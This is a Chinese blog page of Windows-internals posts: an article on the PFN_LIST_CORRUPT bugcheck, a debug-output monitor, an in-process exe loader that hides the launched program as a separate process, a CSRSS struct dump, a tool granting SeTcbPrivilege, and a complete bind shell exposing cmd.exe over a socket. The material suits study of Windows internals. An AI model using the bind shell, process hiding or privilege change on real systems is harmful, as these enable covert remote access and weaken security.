Chinaunix首页 | 论坛 | 博客
  • 博客访问: 379480
  • 博文数量: 715
  • 博客积分: 40000
  • 博客等级: 大将
  • 技术积分: 5005
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-13 14:46
文章分类

全部博文(715)

文章存档

2011年(1)

2008年(714)

我的朋友

分类:

2008-10-13 16:34:14

Bugchecks Explained: PFN_LIST_CORRUPT
OSR Staff | Published: 24-Aug-04| Modified: 24-Aug-04
What Happened?
Windows tracks physical pages of memory using a table called the Page Frame Database. This database (which actually is just a big one-dimensional array) is indexed by physical page number. As a result, the page frame database is typically referred to as the Page Frame Number list or PFN.

Every page of physical memory has an associated PFN entry. Each PFN entry contains information about the state of its corresponding physical page in the system. This state includes information about whether the corresponding physical page is in use, how it’s being used, a count of active users of the page, and a count of pending I/O operations on the page.

Depending on the pages state, a PFN entry may be on one of several lists that the Memory Manager maintains. The listheads for these lists are simple global variables that are used for quick access to PFN entries of certain types. For example, one such list would be the list that contains all the modified pages that need to be written to disk.

Because all the PFN lists and entries are present in the high half of kernel virtual address space, they are subject to corruption through stray pointer accesses (such as by errant drivers or other similar kernel-mode modules). Also, the count in the PFN that tracks the number of I/O related accesses to a given physical page can be corrupted by improper MDL handling.

Whenever Windows detects that any of the PFN lists or any of the PFN entries themselves have become invalid, the system halts with a PFN_LIST_CORRUPT bugcheck.

Who Did It?
This bugcheck usually occurs for one of two reasons, the first reason being memory corruption. If there is a buggy driver in the system that is writing on memory that it does not own, it could easily corrupt one of the PFN lists or entries. In order to rule this out, you should run Driver Verifier with Special Pool enabled for suspect drivers in the system. This will hopefully allow you to catch the misbehaving driver in the act of scribbling memory, instead of receiving a crash sometime later when the O/S discovers the damage.

The second cause for this bugcheck is incorrect MDL handling. For example, one use of MDLs is to allow you to "lock" the physical memory that backs a virtual address range so that the memory stays resident while your driver is accessing it. This is achieved by using the MmProbeAndLockPages DDI. One of the things that this DDI does is take out a reference on the PFN entries of the underlying physical pages, ensuring that the Memory Manager does not page them out. The corresponding DDI to undo this operation, MmUnlockPages, is responsible for decrementing the reference counts taken out in the previous call. If a driver happens to call MmUnlockPages too many times on an MDL, the reference count on the underlying PFN entries could drop to below zero (to 0xFFFFFFFF). The system considers this to be a critical error, as one or more of the PFN entries is obviously invalid. Therefore, this bugcheck will occur.

If your driver or a driver in your stack is being blamed for a PFN_LIST_CORRUPT bugcheck, go over your code and make sure that you are properly handling your MDLs . Remember that even if you do not create or destroy any MDLs directly, you play a part in the creation and destruction of them if you handle IRPs whose buffers are described with DIRECT_IO. Driver Verifier and the checked build of Windows can help pinpoint IRP and MDL handling errors.

How Should I Fix It?
How this is fixed varies depending on the reason of the bugcheck. Using Driver Verifier and the checked build of the O/S should allow you to pinpoint the driver that is either corrupting memory or mishandling MDLs. If the offending driver is not a driver that you have any control over, the only available option is disabling the driver until a fixed version is available.

Related WinDBG Commands
· !memusage
· !pfn
Related O/S Structures
· nt!_MMPFN
· nt!_MMPFNENTRY
· nt!_MMPFNLIST
Related O/S Variables
· nt!MmBadPageListHead
· nt!MmStandbyPageListHead
· nt!MmModifiedNoWritePageListHead
· nt!MmModifiedPageListHead
· nt!MmFreePageListHead
· nt!MmZeroedPageListHead
· nt!MmRomPageListHead


--------------------next---------------------

sysinternals的dbgview想必大家都用过,我写了一个简单的,只监视user层OutputDebugString的输出,原理都包含在代码里了,希望对你有帮助,没有的话就算了:P
// DBMntor.cpp : Little dbgview。。。。
// Coder Jozu
//
#include
#include
#include
#include

#define PAGE_SIZE   4096

#define DBWIN_MAP   "DBWIN_BUFFER"
#define DBWIN_WRITEVENT  "DBWIN_BUFFER_READY"
#define DBWIN_READEVENT  "DBWIN_DATA_READY"

typedef struct _tag_DBMap
{
 DWORD dwProcessId;
 CHAR szString[PAGE_SIZE - sizeof(DWORD)];
} DB_MAP, *PDB_MAP;

int main(int argc, char* argv[])
{
 HANDLE hMap;
 PDB_MAP pDBMap;

 HANDLE hEventRead;
 HANDLE hEventWrite;
 HANDLE hMutex;

 hMutex = CreateMutex(NULL, FALSE, "DBWinMutex");

 hEventRead = CreateEvent(NULL, TRUE, FALSE, DBWIN_READEVENT);
 hEventWrite = CreateEvent(NULL, TRUE, FALSE, DBWIN_WRITEVENT);
 if(!hEventRead || !hEventWrite)
 {
  return 0;
 }

 hMap = CreateFileMapping(INVALID_HANDLE_VALUE,
        NULL,
        PAGE_READONLY,
        0,
        PAGE_SIZE,
        DBWIN_MAP);
 if(!hMap)
  return 0;

 pDBMap = (PDB_MAP)MapViewOfFile(hMap,
        FILE_MAP_READ,
        0,
        0,
        0);
 if(!pDBMap)
 {
  CloseHandle(hMap);
  return 0;
 }

 SetEvent(hEventWrite);
 while(TRUE)
 {
  
  WaitForSingleObject(hEventRead, INFINITE);
  
  printf("%d==>%s\n", pDBMap->dwProcessId, pDBMap->szString);
  
 }

 return 0;
}


--------------------next---------------------

hiahia,被这个题目吓住了吧,一个CreateProcess不就可以吗,嘿嘿,可是你会看到两个进程存在,这里要干的是让进程管理器只能看到一个进程。好了,如果你有了Win32进程的基础理论,了解PE格式,再加上熟悉管理进程(当然你要是不知道这些,代码运行以后的效果你都不会看到。。。那我不是白忙了:P)开始:

先来看看代码:

// ExeLoader.cpp : Defines the entry point for the console application.
//
// Coder Jozu

#include
#include
#include
#include

#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue))

//////////////////////////////////////////////////////////////////////////

void CopyRight()
{
 _tprintf("ExeLoader --- Load a exe FILE and execute it IN CURRENT CONTEXT.\n");
 _tprintf("                                                     Coder Jozu.\n");
 _tprintf("----------------------------------------------------------------\n");
}

//////////////////////////////////////////////////////////////////////////

void Usage()
{
 _tprintf("Exeloader program\n");
 _tprintf("ExeLoader program\n");
 _tprintf("    Program is what you want to executed.\n");
}

//////////////////////////////////////////////////////////////////////////

HINSTANCE hInst;

typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEA)(LPCSTR lpModuleFilename);
typedef HMODULE (WINAPI* LPFNGETMODULEHANDLEW)(LPCWSTR lpModuleFilename);
LPFNGETMODULEHANDLEA lpfnGetModulehandleA = NULL;
LPFNGETMODULEHANDLEW lpfnGetModulehandleW = NULL;

static
HMODULE
WINAPI
HandlerGetModuleHandleA(LPCSTR lpModuleFileName)
{
 if(!lpModuleFileName)
  return hInst;
 return lpfnGetModulehandleA(lpModuleFileName);
}

static
HMODULE
WINAPI
HandlerGetModuleHandleW(LPCWSTR lpModuleFileName)
{
 if(!lpModuleFileName)
  return hInst;
 
 return lpfnGetModulehandleW(lpModuleFileName);
}

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

DWORD
WINAPI
GetFunctionAddrWithIndex(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
 //
 // I am tired of do this bitch, so just do it directly
 // Don't say it is a bug. en....
 //
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
  return (DWORD)HandlerGetModuleHandleA;
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
  return (DWORD)HandlerGetModuleHandleW;

 return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Hint);
}

//////////////////////////////////////////////////////////////////////////

DWORD
WINAPI
GetFunctionAddrWithName(HMODULE hInst, PIMAGE_IMPORT_BY_NAME piibn)
{
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleA") )
  return (DWORD)HandlerGetModuleHandleA;
 if( !stricmp((LPCSTR)piibn->Name, "GetModuleHandleW") )
  return (DWORD)HandlerGetModuleHandleW;
 
 return (DWORD)GetProcAddress(hInst, (LPCSTR)piibn->Name);
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
WalkWithImportTable(PVOID hInst)
{
#define THUNK_INDEXMASK 0x80000000

 PIMAGE_DOS_HEADER  pidh;
 PIMAGE_NT_HEADERS  pinhs;
 PIMAGE_SECTION_HEADER pish;
 PIMAGE_IMPORT_DESCRIPTOR piid;
 BOOL bDone = FALSE;
 HMODULE  hModule;
 LPCSTR  lpDllName;
 PIMAGE_THUNK_DATA pitd;
 PIMAGE_THUNK_DATA pFirstThunk;
 PIMAGE_IMPORT_BY_NAME piibn;
 DWORD  dwFuncAddr;
 SYSTEM_INFO si;
 MEMORY_BASIC_INFORMATION mbi;

 pidh = (PIMAGE_DOS_HEADER)hInst;
 pinhs = MakePtr(PIMAGE_NT_HEADERS, pidh, pidh->e_lfanew);
 pish = MakePtr(PIMAGE_SECTION_HEADER, pinhs, sizeof(*pinhs));

 piid = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, pidh,
  pinhs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

 if(piid->TimeDateStamp == 0)
 {
  _tprintf("sorry about it.... You try to execute a exe with no bind import table. I will process later\n");
  return FALSE;
 }

 if((DWORD)piid == (DWORD)pidh)
 {
  _tprintf("ft.... You try to execute a exe with no import table?");
  return FALSE;
 }

 while(piid->Name != (DWORD)0)
 {
  lpDllName = MakePtr(LPCSTR, pidh, piid->Name);
  
  _tprintf("Processes dll: %s.\n", lpDllName);
  //
  // Check this dll is loaded, if not, just load it!
  //
  if((hModule = GetModuleHandle(lpDllName)) == NULL)
   hModule = LoadLibrary(lpDllName);

  //
  // Walk with the functions, if the functions not been bind,
  // we can use FirstThunk or OriginalFirstThunk, else
  // we use OriginalFirstThunk
  //
  pitd = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->OriginalFirstThunk);
  pFirstThunk = MakePtr(PIMAGE_THUNK_DATA, pidh, piid->FirstThunk);
  //
  // Make virtual memory could be write
  //
  GetSystemInfo(&si);
  VirtualQuery(pFirstThunk, &mbi, sizeof(mbi));
  if( (mbi.Protect & PAGE_READWRITE) != PAGE_READWRITE)
  {
   if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, PAGE_READWRITE, &mbi.Protect))
    return FALSE;
  }
  while(*(DWORD*)pitd)
  {
   if((*(DWORD*)pitd & THUNK_INDEXMASK) == THUNK_INDEXMASK)
   {
    piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, (*(DWORD*)pitd & ~THUNK_INDEXMASK));
    dwFuncAddr = GetFunctionAddrWithIndex(hModule, piibn);
   }
   else
   {
    piibn = MakePtr(PIMAGE_IMPORT_BY_NAME, pidh, *(DWORD*)pitd);
    dwFuncAddr = GetFunctionAddrWithName(hModule, piibn);
   }
   if(!dwFuncAddr)
   {
    _tprintf("Function address return NULL. abort...\n");
    return FALSE;
   }
   //
   // Patch to import table.
   //
   pFirstThunk->u1.AddressOfData = dwFuncAddr;

   pFirstThunk++;
   pitd++;
  }

  if(!VirtualProtect(mbi.BaseAddress, si.dwPageSize, mbi.Protect, &mbi.Protect))
    return FALSE;

  piid++;
 }

 return TRUE;
}

//////////////////////////////////////////////////////////////////////////

int _tmain(int argc, LPCTSTR argv[])
{
 BOOL bDone = FALSE;
 DWORD dwOffset;
 PIMAGE_DOS_HEADER  pidh;
 PIMAGE_NT_HEADERS  pinhs;
 LPSTR lpCmdLine;
 LPWSTR lpwCmdLine;
 WCHAR lpwArgv1[MAX_PATH];

 CopyRight();

 if(argc != 2)
 {
  Usage();
  return 1;
 }

/*
#ifdef _DEBUG
 LoadLibrary("User32.dll");
 WalkWithImportTable(GetModuleHandle("user32.dll"));
#endif
*/
 
 //
 // We should handle GetModuelhandle() function
 //
 lpfnGetModulehandleA = (LPFNGETMODULEHANDLEA)
  GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleA");
 lpfnGetModulehandleW = (LPFNGETMODULEHANDLEW)
  GetProcAddress(GetModuleHandle("kernel32.dll"), "GetModuleHandleW");

 __try
 {
  //
  // Validate this file is a executable PE file
  //
  GetFileAttributes(argv[1]);
  if(GetLastError() != ERROR_SUCCESS)
  {
   _tprintf("%s File not found!\n", argv[1]);
   __leave;
  }
  
  //
  // Load file with DONT_RESOLVE_DLL_REFERENCES will not redirect import table,
  // so we will do it manual
  //
  hInst = LoadLibraryEx(argv[1], NULL, DONT_RESOLVE_DLL_REFERENCES);

  pidh = MakePtr(PIMAGE_DOS_HEADER, hInst, 0);
  if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
  {
   _tprintf("Invalidate file format.\n");
   __leave;
  }
  pinhs = MakePtr(PIMAGE_NT_HEADERS, hInst, pidh->e_lfanew);
  if(pinhs->Signature != IMAGE_NT_SIGNATURE)
  {
   _tprintf("Invalidate file format.\n");
   __leave;
  }
  
  dwOffset = pinhs->OptionalHeader.AddressOfEntryPoint + (DWORD)hInst;

  //
  // Redirect import table of PE file.
  //
  if(!WalkWithImportTable(hInst))
  {
   _tprintf("Redirect file import table failed. abort...\n");
   __leave;
  }

  //
  // We will patch the command line, There is no error handler,
  // if it is failed, I could say nothing....
  //
  lpCmdLine = GetCommandLine();
  strcpy(lpCmdLine, argv[1]);

  lpwCmdLine = GetCommandLineW(); 
  MultiByteToWideChar(CP_ACP, 0, argv[1], -1, lpwArgv1, MAX_PATH);
  wcscpy(lpwCmdLine, lpwArgv1);

  __try
  {
   //
   // Goto call entrypoint.
   //
   ((FARPROC)(dwOffset))();
   //
   // If the exe call exitprocess() directly, We will never goto next.
   // so if you want to do some post-processes, please hook this functions.
   //
  }
  __finally {}

  bDone = TRUE;

 }
 __finally {}

 getchar();

 return 0;
}

基本思路是这样的:

首先装载exe文件,然后自己为它进行导出函数的重定向,把控制转移到exe文件的入口点,代码中有一些会有问题,我都作了注释,希望你看得时候注意。

其中未邦定的API定位部分我没有时间实现了,不过如果你有兴趣可以自己加。have fun。


--------------------next---------------------

CSRSS线程数据结构

typedef struct tagTHREADINFO {
    W32THREAD;

//***************************************** begin: USER specific fields

    PTL             ptl;                // Listhead for thread lock list

    PPROCESSINFO    ppi;                // process info struct for this thread

    PQ              pq;                 // keyboard and mouse input queue

    PKL             spklActive;         // active keyboard layout for this thread

    PCLIENTTHREADINFO pcti;             // Info that must be visible from client

    PDESKTOP        rpdesk;
    PDESKTOPINFO    pDeskInfo;          // Desktop info visible to client
    PCLIENTINFO     pClientInfo;        // Client info stored in TEB

    DWORD           TIF_flags;          // TIF_ flags go here.

    PUNICODE_STRING pstrAppName;        // Application module name.

    PSMS            psmsSent;           // Most recent SMS this thread has sent
    PSMS            psmsCurrent;        // Received SMS this thread is currently processing
    PSMS            psmsReceiveList;    // SMSs to be processed

    LONG            timeLast;           // Time, position, and ID of last message
    ULONG_PTR        idLast;

    int             cQuit;
    int             exitCode;

    HDESK           hdesk;              // Desktop handle
    int             cPaintsReady;
    UINT            cTimersReady;

    PMENUSTATE      pMenuState;

    union {
        PTDB            ptdb;           // Win16Task Schedule data for WOW thread
        PWINDOWSTATION  pwinsta;        // Window station for SYSTEM thread
    };

    PSVR_INSTANCE_INFO psiiList;        // thread DDEML instance list
    DWORD           dwExpWinVer;
    DWORD           dwCompatFlags;      // The Win 3.1 Compat flags
    DWORD           dwCompatFlags2;     // new DWORD to extend compat flags for NT5+ features

    PQ              pqAttach;           // calculation variabled used in
                                        // zzzAttachThreadInput()

    PTHREADINFO     ptiSibling;         // pointer to sibling thread info

    PMOVESIZEDATA   pmsd;

    DWORD           fsHooks;                // WHF_ Flags for which hooks are installed
    PHOOK           sphkCurrent;            // Hook this thread is currently processing

    PSBTRACK        pSBTrack;

    HANDLE          hEventQueueClient;
    PKEVENT         pEventQueueServer;
    LIST_ENTRY      PtiLink;            // Link to other threads on desktop
    int             iCursorLevel;       // keep track of each thread's level
    POINT           ptLast;

    PWND            spwndDefaultIme;    // Default IME Window for this thread
    PIMC            spDefaultImc;       // Default input context for this thread
    HKL             hklPrev;            // Previous active keyboard layout
    int             cEnterCount;
    MLIST           mlPost;             // posted message list.
    USHORT          fsChangeBitsRemoved;// Bits removed during PeekMessage
    WCHAR           wchInjected;        // character from last VK_PACKET
    DWORD           fsReserveKeys;      // Keys that must be sent to the active
                                        // active console window.
    PKEVENT        *apEvent;            // Wait array for xxxPollAndWaitForSingleObject
    ACCESS_MASK     amdesk;             // Granted desktop access
    UINT            cWindows;           // Number of windows owned by this thread
    UINT            cVisWindows;        // Number of visible windows on this thread

    PHOOK           aphkStart[CWINHOOKS];   // Hooks registered for this thread
    CLIENTTHREADINFO  cti;              // Use this when no desktop is available
} THREADINFO;

   TIF_flags---以后研究


--------------------next---------------------

// 前一段时间一个朋友让我帮忙写一个的程序演示CreateProcessAsUser的用法,我写完以后运行,
// 发现2K/XP/2003系统下居然默认把Administrator的SeTcbPrivilege权限去掉了, 而且SDK提供的API没有添加这个权限的功能,
// shit, 最后只好把功能写到了一个服务里. 颇为不爽

// 今天有了时间,整理了思路,准备绕一个弯子,把Administrator的SeTcbPribilege权限打开。
// 当然这样的系统含有一定的安全隐患,但是真的被人利用了其他未公开的Bugs,这个隐患又算得了什么呢。。。
//
// 代码很简单,有兴趣可以看看。运行这个程序你必须有管理员权限,如果要起作用需要重新登陆一次,唉,Windows。。。。
// 废话少说,goto code
//
// Coder Jozu
////////////////////////////////////////////////////////////////////
//
#ifndef UNICODE
#define UNICODE
#endif

#include
#include
#include
#include

#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#endif

#ifdef _DEBUG
#define JASSERT(x) printf x
#else
#define JASSERT(x)
#endif

#define RET_OK 1
#define RET_ERR 2
#define RET_UKN 0

#define MAX_NAME_LEN 200
//////////////////////////////////////////////////////////////////////////

void
InitUnicodeString( OUT PLSA_UNICODE_STRING LsaUnicodeString, IN LPWSTR pwszString)
{
 memset(LsaUnicodeString, 0, sizeof(LsaUnicodeString));

 LsaUnicodeString->Length = wcslen(pwszString) * sizeof(WCHAR);
 LsaUnicodeString->MaximumLength = LsaUnicodeString->Length + sizeof(UNICODE_NULL);
 LsaUnicodeString->Buffer = pwszString;
}

//////////////////////////////////////////////////////////////////////////

LSA_HANDLE
WINAPI
OpenPolicy(DWORD DesiredAccess, LPWSTR ServerName)
{
 LSA_HANDLE    PolicyHandle = NULL;
 LSA_OBJECT_ATTRIBUTES ObjectAttributes;
 LSA_UNICODE_STRING  ServerNameString;
 NTSTATUS    Status;

 memset(&ObjectAttributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES));

 InitUnicodeString(&ServerNameString, ServerName);

 Status = LsaOpenPolicy( &ServerNameString,
       &ObjectAttributes,
       DesiredAccess,
       &PolicyHandle);
 if(Status != STATUS_SUCCESS)
 {
  JASSERT(("OpenPolicy->LsaOpenPolicy error %X\n", Status));
 }
 return PolicyHandle;
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
GetAccountSid(LPTSTR AccountName,
     PSID *Sid)
{
 PSID pSID = NULL;
 DWORD cbSid = 0;
 LPTSTR DomainName = NULL;
 DWORD cbDomainName = 0;
 SID_NAME_USE SIDNameUse;
 BOOL  bDone = FALSE;

 __try
 {
  if(!LookupAccountName(NULL,  // we only concertrate local machine.
   AccountName,
   pSID,
   &cbSid,
   DomainName,
   &cbDomainName,
   &SIDNameUse))
  {
   pSID = (PSID)malloc(cbSid);
   DomainName = (LPTSTR)malloc(cbDomainName * sizeof(TCHAR));
   if(!pSID || !DomainName)
   {
    JASSERT(("Not enough memory! failed...\n"));
    __leave;
   }
   if(!LookupAccountName(NULL,
    AccountName,
    pSID,
    &cbSid,
    DomainName,
    &cbDomainName,
    &SIDNameUse))
   {
    JASSERT(("Not enough memory! failed...\n"));
    __leave;
   }
   bDone = TRUE;
  }
 }
 __finally
 {
  if(DomainName)
   free(DomainName);
  if(!bDone && pSID)
   free(pSID);
 }
 if(bDone)
  *Sid = pSID;

 return bDone;
}

//////////////////////////////////////////////////////////////////////////

BOOL
WINAPI
AdjustUserPolicy(LSA_HANDLE PolicyHandle,
     PSID  pAccountSid,
     LPWSTR lpwSePrivilege,
     BOOL  fRemove)
{
 LSA_UNICODE_STRING SePrivilegeString;
 NTSTATUS   Status;

 InitUnicodeString(&SePrivilegeString, lpwSePrivilege);

 if(fRemove)
 {
  Status = LsaRemoveAccountRights(PolicyHandle,
        pAccountSid,
        FALSE,
        &SePrivilegeString,
        1);
 }
 else
 {
  Status = LsaAddAccountRights(PolicyHandle,
        pAccountSid,
        &SePrivilegeString,
        1);
 }
 return (Status == STATUS_SUCCESS);
}

//////////////////////////////////////////////////////////////////////////

int main(int argc, char** argv)
{
 LSA_HANDLE PolicyHandle = NULL;
 PSID  pSid = NULL;
 DWORD  cbAccountName = MAX_NAME_LEN;
 TCHAR  AccountName[MAX_NAME_LEN];
 TCHAR  wComputerName[] = L"";
 int   nRet = RET_ERR;

 __try
 {
  if(!GetUserName(AccountName, &cbAccountName))
  {
   printf("ft..... How long are your name?\n");
   __leave;
  }

  PolicyHandle = OpenPolicy(POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES, wComputerName);
  if(!PolicyHandle)
  {
   printf("OpenPolicy return NULL\n");
   __leave;
  }

  if(!GetAccountSid(AccountName, &pSid))
  {
   printf("GetAccountSid return false\n");
   __leave;
  }
  
  if(!AdjustUserPolicy(PolicyHandle, pSid, SE_TCB_NAME, FALSE))
  {
   printf("AdjustUserPolicy return false\n");
   __leave;
  }
 
  nRet = RET_OK;
 }
 __finally
 {
  if(pSid)
   free(pSid);
  if(PolicyHandle)
   LsaClose(PolicyHandle);
 }
 
 return nRet;
}


--------------------next---------------------

// Redirect command console

// Coder Jozu

#include
#include
#include
#include

#pragma comment(lib, "ws2_32")

int main(int argc, char* argv[])
{
 SOCKET s;
 SOCKET s1;
 SOCKADDR_IN sin;
 WSADATA wsa;
 STARTUPINFO si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 char szCmd[] = "cmd";

 WSAStartup(MAKEWORD(1, 1), &wsa);

 s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
 if(s == INVALID_SOCKET)
 {
  printf("Error on WSASocket %d, abort...", WSAGetLastError());
  return 1;
 }
 sin.sin_family = AF_INET;
 sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.88");
 sin.sin_port = htons(1234);

 if(bind(s, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
 {
  printf("Error on connect %d, abort...", WSAGetLastError());
  return 1;
 }

 listen(s, 5);

 s1 = accept(s, NULL, NULL);
 
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s1;

 CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

 WaitForSingleObject(pi.hProcess, INFINITE);
 
 return 0;
}


--------------------next---------------------

阅读(144) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~